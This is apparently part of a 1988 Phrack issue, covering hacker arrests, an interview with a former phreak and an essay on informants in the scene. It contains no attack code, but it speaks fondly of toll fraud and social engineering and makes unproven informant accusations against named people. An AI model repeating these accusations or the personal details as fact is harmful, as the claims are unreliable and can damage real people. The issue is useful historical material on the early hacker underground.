In March of 1987, the North Dakota members of Kracking Crue (Docs Avage and SpyroGyra (also known as Ractor)) found a local extender and were able to hack out a code. They both lived on campus at North Dakota State University and were able to abuse the code without the worry of being caught because of the campus's Dimension phone system giving them a high degree of anonymity.

They used this code for the entire rest of the school year and nothing had happened to prevent them from abusing it. Because of this lack of security, DA and SG began to believe that the code would be safe for them to use anywhere. The school year ended and the members of the Crue went home. Eventually the Crue discovered a 1‑800 number for the long distance service they had been abusing and began to use it once again. However, they were soon to discover that they were not half as safe as they thought.

The LD company had indeed been watching that code, but could not do anything to catch the Crue because of the Dimension system on NDSU campus. Docs Avage started to use the code from his apartment to call SpyroGyra and a few other people and the company got his line tapped and kept a record of where all his calls went to.

In Docs Avage's own words;

"On July 27th, 1988, I arrived back at my apartment after spending a weekend with my parents at their home. I found it rather interesting to discover three extra cars in the parking lot, one of which was a Dodge Diplomat.

I walked into my apartment and discover two police detectives, two phone officials, and two "computer experts" blissfully dismantling my Apple and all my peripherals. One of my roommates was handcuffed and seated in a chair and my other roommate was kept closely watched as he was sitting in the kitchen. I was asked who I was, and read my rights. I agreed to cooperate. I was busted on a dialup.

The dialup being the one I had hacked out several months before, and gotten quite greedy with it (ok, I overabused the darn thing). In my apartment, I placed around a $1000 worth of calls with it. I had made calls with it before, but not to that extent.

I remained very cooperative, and talked to several phone security representatives, including those from AT&T and U.S. Sprint (I had a printout of 4 Sprint Codes, never had used them, just had them). The phone security people are experts at adverse psychology, and I can successfully say that they did a very good job of scaring me. Nevertheless, I knew that they were trying to play with my brain, so it wasn't as bad as it could have been.

My roommate had been charged with the same offense as myself, Class C Felony Theft of Services (max 5 years/$5000). However, the only thing he contributed to the whole matter was the fact that the telephone account was in his name. The charges were dropped against him.

After almost two months of waiting, the sentence date came. I plead guilty, playing on a deal that my lawyer had made with the state's attorney. The sentence included restitution (which hasn't been determined yet). The phone company is desparately trying to stick me with a large bill, for services that cannot be proven that I had anything to do with; a bill that could stretch up to $5000 (like hell if I'm paying that much), and a very nice little clause called Deferment of Imposition. Basically, I remain on probation until I pay back the restitution, at that time I can go through hearings and prove that I haven't been involved in such activities as for what I was convicted and the charges will not be placed on my record. For the time being however, it's turning out to be monthly payments with supervised probation. Needless to say, I, Docs Avage is retired, at least as as retired as someone in my position can get."

Docs said that he had been looking to retire for some time and that this incident was the final straw. He also added that he was questioned about Jester Sluggo, Phrack Inc., and the Legion of Doom. He did not know anything.

Information Provided by Docs Avage and SpyroGyra

Phrack World News Issue XXI Part 2

==Phrack Inc.==

Volume Two, Issue 21, File 11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN The Legacy... ...Lives On PWN PWN Phrack World News PWN PWN Issue XXI/2 PWN

PWN PWN

PWN Created by Knight Lightning PWN

PWN PWN

PWN Written and Edited by PWN PWN Knight Lightning and Epsilon PWN

PWN PWN

PWN The Future... ...Is Forever PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Man Charged with "Infecting" Computers May 24, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fort Worth, Texas (AP) ‑‑ A 39‑year‑old computer programmer is being prosecuted on felony charges of infecting his ex‑employer's computers with an electronic "virus," and face up to 10 years in prison if convicted.

Donald Gene Burleson faces a charge of "harmful access to a computer," and is free on a $3,000 bond pending his July 11 trial.

Police described the electronic interference as a "massive deletion" of more than 168,000 records of sales commissions for employees.

Burleson is thought to be the first person charged under the state law prohibiting computer sabotage, which took effect Sept. 1, 1985, about three weeks before the alleged incident, said Davis McCown, chief of the Tarrant County district attorney's economic crimes division.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Jury Selection In First Virus Trial Begins September 6, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the Washington Post (September 7, 1988),Page C‑1

Fort Worth, Texas (AP) ‑‑ Jury selection began today in the criminal trial of a 40‑year‑old programmer accused of using a computer "virus" to sabotage thousands of records at his former work place. The trial is expected to last about two weeks.

Donald G. Burleson faces up to 10 years in jail and a $5,000 fine if convicted in the trial, a first for the computer industry. Burleson was indicted on charges of burglary and harmful access to a computer in connection with computer damage at a securities firm, said Nell Garrison, clerk of the state criminal district court in Fort Worth. Through his lawyer, Jack Beech, Burleson denies the charges but has declined further comment.

The firm has been awarded $12,000 in a civil lawsuit against Burleson. Pretrial motions were scheduled to be heard today, followed by jury selection, Garrison said.

Burleson is accused of planting a piece of computer software known as a virus in the computer system at USPA&IRA Co. two days after he was fired. A virus is a computer program, often hidden in apparently normal computer software, that instructs the computer to change or destroy information at a given time or after a certain sequence of commands. USPA officials claim Burleson went into the company's offices one night and planted a virus in its computer records that would wipe out sales commissions records every month. The virus was discovered two days later, after it had eliminated 168,000 records.

________________________________________

White Lightning Speaks Up July 28, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~

White Lightning was apparently previously accused of being an informant for Sprint Security with regard to information concerning The Disk Jockey and Compaq.

He left the following message on the Phrack Voice Message System;

"Yeah, this is White Lightning. I'd like to make an official statement for Phrack Magazine. As far as what happened to The Disk Jockey, Shit, I have no idea, ok? I get on a bridge, I've been out of it for two weeks, I get on Friday night, and fuck, this guy Laser outta 206 is saying I got him busted, I don't know anything about it, ok? As far as Compaq goes, outta 219, Kent, I'd just appreciate it, your information is messed.. <BEEP!> [The Phrack VMS has a beep that lets you know that you only have 10 seconds left.] What the hell is that!? Hello?!? Who is that?!"

Message For White Lightning from Phrack Inc.;

If you would care to explain your side of the story a little more clearly, we would be happy to listen to what you have to say. We are sure that everyone would be interested. Thank you.

Information Provided By White Lightning

________________________________________

AT&T Links Up With GTE August 1, 1988

~~~~~~~~~~~~~~~~~~~~~~

AT&T is stepping up its efforts to boost revenues from telecommunications gear by buying GTE's phone switch business. AT&T will become the leading equipment supplier to GTE's phone companies, which are the main source of the switch operations $500 million in revenues.

AT&T will take a 49% stake in a new company that will comprise GTE's switch manufacturing operations in Illinois and a research and development facility in Phoenix, Arizona. GTE, whose business employs 5,000, is counting on AT&T's technical expertise to support its base of phone switching systems. It also wants out of the phone equipment business. AT&T's main task; making the switches capable of handling the massive voice and computer data transmission requirements anticipated by GTE's phone companies over the next 15 years.

Neither partner disclosed financial terms of the joint venture. But AT&T will own 80% of it by 1993 and 100% by 2003. Its management structure is not yet decided. GTE has made similar moves in recent years that have ended in giving full management control and ownership to its partners. Such deals include one with West Germany's Siemens in communication transmission products and a second with Japan's Fujitsu in office phone systems.

Information Provided by Business Week Magazine

________________________________________

Is There A Doctor In The House? August 1, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

It all started when I met him on a bridge in Texas. No one really understands why he did it or why he chose that particular handle. He seems to have some decent knowledge and would not have had much trouble reaching a high level of notoriety. Unless there is more here than meets the eye.

Doc Holiday/Scott of 713 is an IMPOSTER!

He was doing a pretty good job pretending to be the original Doc Holiday. He had researched all about him, including details concerning his recent bust for COSMOS abuse, and created a framing story to explain how and why he now was Scott instead of Robbie and how his family had moved from Tennessee to Texas. The majority of the phreak/hack community bought the story and he would have gone on unseen except for the return of some folks who had disappeared last fall; Knight Lightning and Taran King. Upon hearing about this Doc Holiday in 713, they already suspected that he was bogus, and once they had spoken to him they knew it was not the original Doc Holiday. To bring a hilarious end to this charade they waited until they could contact the original Doc Holiday to let him in on the exposure.

As destiny would have it, the real Doc Holiday was on vacation and happened to end up spending a weekend in St. Louis, the weekend right after SummerCon '88. So the three of them got together started Scott Holiday talking to further incriminate himself and then let the REAL Doc Holiday introduce himself and have the last laugh.

Scott Holiday was in shock at first and he tried to explain that he had a good reason for doing it, but his mom got on the phone and he had to go.

After this incident, I talked to him voice, and he explained to me that he enjoyed doing this, and it was "the biggest scam" he had ever pulled off, except that you could argue that he did not really pull it off. Seeing as how Scott is quite adept at the art of social engineering, he really had little to no trouble convincing (for lack of a better word) people who did not know the original Doc Holiday. However when he came up against the best, he failed the test miserably.

The point of publicizing this incident is to document that people can be easily fooled and deceit by phone phreaks is not limited to the phone companies. Keep in mind that people are not necessarily whom they claim and in that lies the greatest truth of all.

Information Provided By Epsilon

Special thanks to Knight Lightning and Taran King for the exposure.

________________________________________

Canada Cancels The Underlord August 3, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"I still Hack!"

The Underlord awoke on February 11, 1988 at 7:30 AM to the sound of his doorbell. Moments later, his mother entered his room to inform him that there were three men waiting to see him. She had a rather puzzled look on her face. He threw on some clothes and ran downstairs to meet his fate head on. The "fat man" showed him a search warrant and informed him that he was under arrest for 7 offenses. They confiscated everything.

The Underlord was escorted to their car (his mother followed behind) and driven off to the police station. They told him something about cameras being all over the station, but it did not matter to him because, "I wasn't going to kill the guy or anything anyway." From there he was taken to a little room, in which he overheard the police playing with my computer, phone, and tapes that they confiscated.

He had to sit there alone for four hours until his dad drove his home and later showed his the papers.

"They said I was being charged for four counts of 'theft of telecommunications' (a real law in Canada), and three counts of mischief."

He was told that the mischief charges were because he called Emergency 911 (although he said he did it through a PBX) and told them obscenities with a friend on three‑way.

Practically six months later, on June 16, 1988, The Underlord finally received everything back and went to court. He had to pay $750.00 total and serve eight months probation. However, he only had the three counts of mischief on his record.

He explained that in Canada, if the government wants to make you pay a fine, they must prove that you have enough money to pay it first. However, UL did not and so the authorities said they would drop the charges if he would pay the $750.00.

Information Provided By The Underlord 416 Through The Phoenix Project

________________________________________

Teen Hackers Ring Up Huge Phone Bill October 7, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Robert Macy (Associated Press)

Las Vegas, Nevada ‑ Ten teen‑age hackers may have run up to $650,000 in telephone calls by tricking phone company computers, and their parents could be liable for the tab, authorities said.

Tom Spurlock, resident agent‑in‑charge of the Las Vegas Secret Service office, said the teen‑agers engaged in Blue Boxing, a technique that enabled them to talk to fellow hackers throughout Europe.

The teen‑agers were not taken into custody or charged, but their computers were seized. Spurlock said it will be up to AT&T to decide whether to seek reimbursement once a final tally is obtained.

________________________________________

Virus Hits Unix at Bell Labs May 13, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Friday the 13th, a devastating virus hit Bell Labs at Murray Hill. Initial reports from survivors indicate that the destruction caused was very widespread, although limited to Sun workstations. Rumor has it that the virus was planted by a disgruntled Sun employee in the Sun Unix kernel. The actual amount of work lost is unknown, as is the Murray Hill policies on frequency of disk backups.

________________________________________

Translation Of 2600 Magazine Fall 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following appeared on page 46 of 2600 Magazine, Volume 5, Number 3. It was in German and I took the liberty of having a friend who is a member of the Chaos Computer Club in Germany translate it for PWN.

"Hacker" Free Again

~~~~~~~~~~~~~~~~~~~

One of the heads of the Hamburg CCC, S. Wernery, was released from jail in Paris. The 26‑year‑old arrived at Hamburg airport yesterday (whenever that was, there was no date on the article). He stated the accusations against him were still being investigated. After having been questioned by a judge he was released from bail, but has to return to Paris at request, though.

:Knight Lightning

________________________________________

Quicknotes

~~~~~~~~~~

1. BIG! The New Telecom Library Catalog! 1‑800‑Library. Free, 125 Books, etc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2. The Teleconnect Dictionary; A Glossary of Telecom Acronyms, Terms, and Jargon. Not just definitions...mini essays. $9.95 ‑‑ 1‑800‑LIBRARY.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3. Microlog Demo Numbers ‑ Microlog, Irvine, California, makes voice response equipment. Call for demos:

o Microlog (800)562‑2822 o Immigration and Naturalization (800)777‑7770 o Canadian Embassy (202)785‑1431 o Office of Personal Management (202)653‑8468 o Australian Consulate (202)797‑3161

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4. Most accurate time in the world; (303)499‑7111. It's tied to the atomic clock at the National Bureau of Standards in Boulder, Colorado.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5. Sue the United States Postal Service? Good Luck.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If the US Postal Service loses a package sent by Express Mail, you can't sue for damages the way you can other delivery services.

Reason: The United States government is immune from lawsuits except when they consent to being sued. The Postal Service has retained this immunity.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

6. Announcing a new electronic mailbox named Sub‑Etha. It is owned and operated by the Computer Club of Oldenburg, West Germany.

Phone number: (0441/777397) 300 Baud N/8/1

________________________________________

22

- Index by Knight Lightning & Taran King

- Phrack Pro-Phile on Karl Marx by Knight Lightning & Taran King

- The Judas Contract (Part 2 of the Vicious Circle Trilogy) by Knight Lightning

- A Novice's Guide To Hacking (1989 Edition) by The Mentor

- An Indepth Guide In Hacking Unix by Red Knight

- Yet Another File On Hacking Unix by unknown

- Computer Hackers Follow A Guttman-Like Progression by Richard C. Hollinger

- A Report On The InterNet Worm by Bob Page

- Phrack World News Issue XXII Part 1 by Taran King

- Phrack World News Issue XXII Part 2 by Knight Lightning

- Phrack World News Issue XXII Part 3 by Knight Lightning

- Phrack World News Issue XXII Part 4 by Knight Lightning

Index

==Phrack Inc.==

Volume Two, Issue 22, File 1 of 12

Phrack Inc. Newsletter Issue XXII Index

~~~~~~~~~~~~~~~~~~~~

December 23, 1988

Happy Holidays And Welcome To Phrack Inc. Issue XXII!

As the golden days of the phreak/hack community fall behind us, it appears that many of the "old elites" have found themselves in highly respected jobs and throughout the course of time, their handles became synonymous with their real names. As the saying goes, "You can't keep a good hacker down," and many of these people are still interested in being a part of the community.

In order to help protect the anonymity of these people who are interested in writing for Phrack, we have brought back the concept of ">Unknown User<." This nametag will fill the spot for any author who desires to submit a file, but does not wish for his handle to be seen in the file itself. So if fear of publicity has held you back from submitting an article, don't worry any longer.

We here at Phrack Inc. would like to give The Mentor a special commendation for an extremely well written file. The spirit of The Phoenix Project continues within a really decent guide for new hackers.

Due to the large amounts of controversy regarding the recent rampage of the InterNet Worm, this issue of Phrack contains a lot of information about the Worm and its effects, the majority of which is scattered within the pages of Phrack World News, but we were also able to get a hold of Bob Page's Report.

For anyone who has a legitimate account on MCI Mail, GTE Telemail, or any of the standard Bitnet reachable places, let us know and we can have Phrack delivered to your mailbox.

For those of you wishing to submit files to Phrack Inc., please send them to us at our Bitnet accounts or if that is not possible, contact The Mentor on the Phoenix Project BBS (512‑441‑3088). Once again, its great to be back!

Taran King & Knight Lightning

C488869@UMCVMB.BITNET & C483307@UMCVMB.BITNET

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

This issue contains the following files;

1. Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile on Karl Marx by Taran King & Knight Lightning 3. The Judas Contract (Part 2 of the Vicious Circle Trilogy) by KL 4. A Novice's Guide To Hacking (1989 Edition) by The Mentor

5. An Indepth Guide In Hacking Unix by Red Knight

6. Yet Another File On Hacking Unix by >Unknown User<

7. Computer Hackers Follow A Guttman‑Like Progression by Richard C. Hollinger 8. A Report On The InterNet Worm by Bob Page

9‑12 Phrack World News Issue XXII by Knight Lightning and Taran King

Phrack Pro-Phile on Karl Marx

==Phrack Inc.==

Volume Two, Issue 22, File 2 of 12

==Phrack Pro‑Phile XXII==

Created By Taran King

Brought To You By Taran King and Knight Lightning

Done on October 8, 1988

Welcome to Phrack Pro‑Phile XXII. Phrack Pro‑Phile was created to bring information to you, the community, about retired or highly important/ controversial people. This issue, we bring to you a name from the past and a user of highly respected rankings in the history of the phreak/hack world...

Karl Marx

~~~~~

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Personal

~~~~~~~~

Handle: Karl Marx

Call Him: James Salsman

Past Handles: None

Handle Origin: Bloom County (Something about Capitalists and Humor) Date Of Birth: 12/2/67

Height: 6"0'

Weight: 155 lbs

Eye Color: Blue

Hair Color: Dark Brown

Shoe Size: 10 1/2

Computers: Nondeterministic turing machines Sysop/Co‑Sysop Of: Farmers of Doom

Origins In Phreak/Hack World:

Manufacturing Explosives ‑‑ He wanted to blow up his High School.

Origins In Phreak/Hack BBSes: Plovernet!

People In The Phreak/Hack World Met:

The Buccaneer, Mark Tabas, Shadow Master, and a few other Colorado types. He also actually made it to a TAP meeting a while ago [TelePub '86], but he slept through it. All he remembers is that it was in New York and Scan Man was there in a baseball cap. He thinks it was in a "Days Inn" or something.

Experience Gained In The Following Ways:

Spending long hours pouring over Bell System Tech Journals from 1970‑Present. He suggests to anyone who wants to learn non‑trivial, but useful things ‑‑ or who just wants to get some really *powerful* vocabulary for social engineering ‑‑ try using your local college or large public library.

Knowledge Attributed To:

Nearly everyone who he's ever talked to ‑‑ if you let people bullshit you long enough, you learn quite a bit just by figuring out why they are wrong.

Memorable Phreak/Hack BBSes: Plovernet, Legion of Doom, Shadowland, and of

course the invisible 3rd level of FOD.

Work/Schooling (Major):

Carnegie Mellon University. He dropped out as soon as they let him work on interesting Cognitive Science and AI projects. He currently works at Expert Technologies ‑‑ the company has an expert system for putting together various Yellow Pages for client phone companies that he is not supposed to name (there's no point in naming them, 'cause by now they do every fucking Yellow Pages in the country ‑‑ ACK!) But that's just what makes the company money. He's working on user interfaces based on speech recogniton.

Conventions/Involvements Outside Of Phone Calls:

He thinks he went to that TAP [Telepub '86] meeting, but he doesn't remember much more than Scan Man's cap. He was INTENSELY tired and his girlfreind was complaining that everyone was a geek and that they had to find a way to get back in Pittsburgh in four hours.

Accomplishments:

He wrote somthing about Nitroglycerin. He probably killed a lot of aspiring phreaks on Plovernet by not putting in enough warnings like "Remember, DON'T make more than a few grams or you will be found dead and identified as Dinty Morre Beef Stew." He also came up with the "RESCOC ‑Remote Satellite Course Correction System" file. It was PURE bullshit, but with headings like "How to manuver a satelite to crash it into cities (like Moscow)" it was a big hit with the "Hacker‑Hype" media. AT&T denied everything.

Phreak/Hack Groups: He got a lot of mail saying somthing like;

"Congratulations! You MAY ALREADY HAVE WON membership into the NEW GROUP...

‑‑‑‑‑ THE CAPTAINS OF CODES ‑‑‑‑‑

It's the best new phreak/hack group since MIT! Just tell us everything you know and tell everyone else what a great group we are ‑‑ AND WE WILL LET YOU BE A MEMBER OF... ‑‑‑‑‑ THE CAPTAINS OF CODES ‑‑‑‑‑" He usually ignored these "memberships." He believes Tabas understood the problem when he created the parody‑group "Farmers of Doom."

Interests:

His main interest is AI. His particular application domains focus on Cognitive Science and Pattern recognition. He thinks he might have been interested in the telephone system ‑‑ but those days are over. He doesn't even remember the codes to do trunk selection on an RTA distribution point. And if the ROCs security folks think he still does that sort of thing they are going to have to prove it. :‑)

Favorite Things;

Thinking: Problem Solving

Conversation: Exchange of information

Love: Emotional fulfillment

Sex: Physical fulfillment

Drugs: Introspection

Poetry: Metaphor, Imagery

Involvement: Sense of Self‑Worth

Music: Rhythm, Harmonics

Food: Flavor, Satisfaction

Breathing: Inhalation of Oxygen

Most Memorable Experience:

The funniest thing that ever happened to him was the time he was arrested. The Secret Service had bugged this hotel room and surprised them (always remember, SECRET service and ROOM service are not *that* different.) They took them to a Denver Police holding tank that was filled with non‑sober hooligans.

Unfortunately, he was in a business suit (having just returned from handing a $5,000,000.00 "certified" check to Charles Schwab in Sacramento). So there were all these drunk people asking me, "Ahre yha my lawer???"

Of course, Mark Tabas had it easy in his Hawaiian print shirt, but he had to deal with "Whatcha here fur?" Jim told them that he was being held for "Fraud." That explanation didn't seem to satisfy them ‑‑ "Har, har, har! Fraud! The kid's in here for fraud! Let me tell you what I'm in for! What do you think I'm here for??"

He didn't have the heart to tell the gentlemen that he really didn't care why they shared such a predicament so he responded with a blank stare. They then went on to describe crimes so horrible that he could hardly believe them, if it wasn't for the fact that most of them were at least two thirds covered in blood. That sort of gave them the advantage, so he went on to tell them that he must have been put in the wrong cell and that he was sure that the jailer would transfer him in just a few hours. They all seemed to accept that, and went on to insulting each other.

Some People To Mention:

o "I'd like to thank Who‑Bob and T‑Bob for their long hours they spent discussing new and innovative ESS social engineering techniques.

o I am forever indebted to Mark Tabas for his courage and demeanor in the face of adversity ‑‑ which is to say that getting busted didn't bother him as much as disk space problems did.

o There's this guy named "Chuck" in the 303 T5 center who I'd like to mention because he set up a RTA routing code for me that switched incoming toll trunks to BLV trunks ‑‑ if only everyone were that stupid!"

Inside Jokes: "Sorry, sir, we were just trying to find some wire for our science fair project, but as there appears to be nothing here but coffee grounds and cigarette ashes, we had better get going. Have a nice day!"

Serious Section: He's very strongly against geting busted.

Are Phreaks/Hackers You've Met Generally Computer Geeks?

He hopes not! Most of the people that used to be computer geeks around CMU now wear suits and ties and have six digit salaries. What a horrible thing! He wouldn't wish that on his worst enemy!

Busted For: He was busted for being in a hotel room with Steve Dahl. He was convicted of the law that says, in effect "it's illegal to lie to somebody more powerful than you." He stopped phreaking because he was on probation and didn't want to go to prison. He is NOT planning a comeback.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Thanks for your time James.

Taran King and Knight Lightning

The Judas Contract (Part 2 of the Vicious Circle Trilogy)

==Phrack Inc.==

Volume Two, Issue 22, File 3 of 12

<><><><><><><><><><><><><><><><><

<>

<> The Judas Contract <>

<> ~~~~~~~~~~

<> Part Two Of The Vicious Circle Trilogy <>

<>

<> An Exploration of The Quisling Syndrome <>

<> and <>

<> A Look At The Insurrection Of Security Into The Community <>

<>

<> Presented by Knight Lightning <>

<> August 7, 1988 <>

<>

<><><><><><><><><><><><><><><><><

The Quisling Syndrome

~~~~~~~~~~~~~~~~~~~~~

Definition: Quisling ‑ (Kwiz/lin) (1) n. Vidkun Quisling (1887 ‑ 1945),

Norwegian politician who betrayed

his country to the Nazis and became

its puppet ruler.

(2) n. A traitor.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The "Quisling" Syndrome is rapidly becoming a common occurrence in the less than legal realms of the modem community. In general it starts out with a phreaker or hacker that is either very foolish or inexperienced. He somehow manages to get caught or busted for something and is scared beyond belief about the consequences of his actions. At this point, the law enforcement agency(s) realize that this one bust alone is worthless, especially since the person busted is probably someone who does not know much to begin with and would be a much better asset if he could assist them in grabbing other more experienced and dangerous hackers and phreaks. In exchange for these services the Judas will have his charges dropped or reduced and considering the more than likely parential pressure these Judases will receive, the contract will be fulfilled.

Example; Taken from Phrack World News Issue XV;

[This exceprt has been edited for this presentation. ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Mad Hatter; Informant? July 31, 1987

~~~~~~~~~~~~~~~~~~~~~~

We at Phrack Inc. have uncovered a significant amount of information that has led us to the belief that Mad Hatter is an informant for some law enforcement organization.

MH had also brought down several disks for the purpose of copying Phantasie Realm. Please note; PR was an IBM program and MH has an apple.

Control C told us that when he went to pick MH up at the bus terminal, he watched the bus pull in and saw everyone who disembarked. Suddenly Mad Hatter was there, but not from the bus he was supposed to have come in on. In addition to this, he had baking soda wraped in a five dollar bill that he tried to pass off as cocaine. Perhaps to make us think he was cool or something.

MH constantly tried to get left behind at ^C's apartment for unknown reasons. He also was seen at a neighbor's apartment making unauthorized calls into the city of Chicago. When asked who he called, his reply was "Don't worry about it." MH had absolutely no money with him during PartyCon (and incidentally ate everything in ^C's refrigerator) and yet he insisted that although he had taken the bus down and had return trip tickets for the bus, that he would fly back home. How was this going to be achieved? He had no money and even if he could get a refund for the bus tickets, he would still be over $200 short. When asked how he was going to do this, his reply was "Don't worry about it."

On Saturday night while on the way to the Hard Rock Cafe, Mad Hatter asked Control C for the location of his computer system and other items 4 times. This is information that Hatter did not need to know, but perhaps a SS agent or someone could use very nicely.

When Phrack Inc. discovered that Dan The Operator was an FBI informant and made the news public, several people were criticizing him on Free World II Private. Mad Hatter on the other hand, stood up for Noah and said that he was still his friend despite what had happened. Then later when he realized that people were questioning his legitimacy, his original posts were deleted and he started saying how much he wanted to kill Dan The Operator and that he hated him.

Mad Hatter already has admitted to knowing that Dan The Operator was an FBI informant prior to SummerCon '87. He says the reason he didn't tell anyone is because he assumed we already knew.

A few things to add;

^*^ Some time ago, Mad Hatter was contacted by AT&T because of an illegal Alliance Teleconference that he was responsible for. There was no bust.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Could this AT&T investigation have been the starting point for Mad Hatter's treason against the phreak/hack community? Is there more to it than that? We may never know the full truth behind this, however we do know that Mad Hatter was not the only one to know Dan The Operator's secret prior to SummerCon '87. The Executioner (who had close ties to TMC Security employees in Omaha, Nebraska) was fully aware of Dan The Operator's motives and intentions in the modem world.

There does not always have to be a bust involved for a phreak/hacker to turn Judas, sometimes fear and panic can be a more powerful motivator to become a Quisling.

Example; Taken From Phrack World News Issue XV;

[This exceprt has been edited for this presentation. ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Crisis On Infinite Hackers July 27, 1987

~~~~~~~~~~~~~~~~~~~~~~~~~~

It all started on Tuesday, July 21, 1987. Among 30‑40 others, Bill From RNOC, Eric NYC, Solid State, Oryan QUEST, Mark Gerardo, The Rebel, and Delta‑Master have been busted by the United States Secret Service. There are rumored to be several more members of the more "elite" community busted as well, but since we can neither disprove or prove the validity of these rumors, I have chosen not to name them at this time.

One of the offshoots of this investigation is the end of The Lost City of Atlantis and The Lineman's treason against the community he once helped to bring about. In Pennsylvainia, 9 people were busted for credit card fraud. When asked where they learned how to perform the art in which they had been caught, they all responded with the reply of text files from The Lost City Of Atlantis.

So, the Secret Service decided to give The Lineman a visit. Lineman, age 16 (a minor) had no charges against him, but he panicked anyway and turned over the bulletin board, all g‑philes, and the complete userlog to the Secret Service. This included information from the "Club Board." The final outcome of this action is still on its way. In the meantime, many hackers are preparing for the worst.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The results and consequences from The Lineman's actions were far more severe than they originally appeared. It is highly speculated that The Lineman was in possesion on a very large directory of phreaks/hackers/pirates that he had recently acquired. That list is now in the hands of the government and the Communications Fraud Control Association (as well as in the files of all of the individual security departments of CFCA members). I've seen it and more.

The Lineman was able to acquire this list because one phreak stole it from another and then began to trade it to his friends and to others for information and passwords, etc. and what happened from there is such an over exposure and lack of CONTROL that it fell into the wrong and dangerous hands. Acts such as this will with out a doubt eventually lead all of us towards entropy.

Captain Caveman, also known as Shawn of Phreakers Quest, began work to help TMC after he was set up by Scan Man during the summer of 1986.

However, being busted or feeling panic are still not the only motivations for becoming a Judas. John Maxfield, one of today's best known security consultants, was once a hacker under the handle(s) of Cable Pair and Uncle Tom. He was a member of the Detroit based Corrupt Computing and the original Inner Circle until he was contacted by the FBI and decided that it would be more fun to bust hackers than be one.

The following is an excerpt from Phrack World News Issue V;

[This article has been edited for this presentation. ‑KL]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Kids, Or Criminals?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

John Maxfield is a computer security consultant who lives in a downriver suburb. Maxfield spends most of his working hours scanning BBSs, and is known by computer crime experts as a hacker tracker. His investigative work scanning boards has resulted in more prosecutions of computer hackers than anyone else in the field, say sources familiar with his work. Maxfield, who accepts death threats and other scare tactics as part of the job, says the trick is knowing the enemy. Next to his monstrous, homemade computer system, Maxfield boasts the only file on computer hackers that exists. [Not true any longer ‑KL] It contains several thousand aliases used by hackers, many followed by their real names and home phone numbers. All of it is the result of four years of steady hacker‑tracking, says Maxfield. "I've achieved what most hackers would dearly love to achieve," said Maxfield. "Hacking the hacker is the ultimate hack."

Maxfield estimates there are currently 50,000 hackers operating in the computer underground and close to 1,000 underground bulletin boards. Of these, he estimates about 200 bulletin boards are "nasty," posting credit card numbers, phone numbers of Fortune 500 corporations, regional phone companies, banks, and even authored tutorials on how to make bombs and explosives. One growing camp of serious hackers is college students, who typically started hacking at 14 and are now into drug trafficking, mainly LSD and cocaine, said Maxfield.

Maxfield's operation is called BoardScan. He is paid by major corporations and institutions to gather and provide them with pertinent intelligence about the computer underground. Maxfield also relies on reformed hackers. Letters of thanks from VISA and McDonald's decorate a wall in his office along with an autographed photo of Scottie, the engineer on Star Trek's Starship Enterprise.

Often he contacts potential clients about business. "More often I call them and say, I've detected a hacker in your system," said Maxfield. "At that point, they're firmly entrenched. Once the hackers get into your computer, you're in trouble. It's analogous to having roaches or mice in the walls of your house. They don't make their presence known at first. But one day you open the refrigerator door and a handful of roaches drop out."

Prior to tracking hackers, Maxfield worked for 20‑odd years in the hardware end of the business, installing and repairing computers and phone systems. When the FBI recruited him a few years back to work undercover as a hacker and phone phreak, Maxfield concluded fighting hacker crime must be his mission in life.

